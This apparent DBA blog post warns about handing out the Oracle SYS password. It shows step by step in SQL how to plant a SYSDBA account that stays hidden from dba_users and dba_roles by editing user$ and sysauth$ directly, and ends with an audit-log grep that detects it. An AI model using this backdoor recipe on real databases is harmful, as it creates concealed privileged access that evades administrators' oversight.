Daniel Westermann's Blog

this one is a little bit hypothetical but might happen. do you know the situation when a standard software requires sysdba priviliges for installation? be very careful ginving out the sys password. once someone other than a trusted dba knows the password a sysdba can be created which you probably will never find (except you have processes in place to scan the audit logs).

oracle stores users and roles in the user$ table. a user has a type# of 1 while a role has type# of 0. one can easily check this:

SYS@dbs100> select NAME,TYPE# from user$;

NAME				    TYPE#
------------------------------ ----------
SYS					1
PUBLIC					0
CONNECT 				0
RESOURCE				0
DBA					0
SYSTEM					1
.....

what will happen if we directly insert into that table with a type# of -1?

insert into user$ (USER#,NAME,TYPE#,password,DATATS#,tempts#,ctime,resource$,defrole,astatus,lcount,spare1,spare4,DEFSCHCLASS,EXPTIME,LTIME,PTIME) 
       values (99,'GOD',1,'D9E8A39A359A48C2',4,3,sysdate-5,0,1,0,0,0,'S:E0BBBCAB53EDC7BD147FBD6EBF79E011DBDB31947A3B08B04FCB7E678DF8','DEFAULT_CONSUMER_GROUP',to_date(null),to_date(null),to_date(null));

1 row created.

commit;

Commit complete.

seems to work. this user will never be visible in dba_users or dba_roles:

SYS@dbs100> select * from dba_users where username = 'GOD';

no rows selected

SYS@dbs100> select * from dba_roles where role = 'GOD';

no rows selected

perfectly hidden. change the password:

alter user god identified by a;

User altered.

… and assign all sysdba privileges:

insert into sysauth$  (grantee#,privilege#,option$,sequence#) 
       select 99,privilege#,option$,system_grant.nextval
         from sysauth$ where grantee# = 0;

226 rows created.

update user$ set type#=-1 where user#=99;

1 row updated.

commit;

Commit complete.

test it:

SYS@dbs100> connect god/a as sysdba
Connected.

… and you are in.

the good news: if you have auditing enabled you may catch this:

grep -i god *
dbs100_ora_12133_20140515225804864916143795.aud:       values (99,'GOD',1,'D9E8A39A359A48C2',4,3,sysdate-5,0,1,0,0,0,'S:E0BBBCAB53EDC7BD147FBD6EBF79E011DBDB31947A3B08B04FCB7E678DF8','DEFAULT_CONSUMER_GROUP',to_date(null),to_date(null),to_date(null))'
dbs100_ora_12133_20140515225804864916143795.aud:ACTION :[30] 'alter user god identified by *'
dbs100_ora_12133_20140515225804864916143795.aud:ACTION :[30] 'alter user god identified by *'
dbs100_ora_12147_20140515225916485631143795.aud:ACTION :[46] 'select * from dba_users where username = 'GOD''
dbs100_ora_12147_20140515225916485631143795.aud:ACTION :[42] 'select * from dba_roles where role = 'GOD''

tested on 11.2.0.3 and 11.2.0.4 on Linux x64.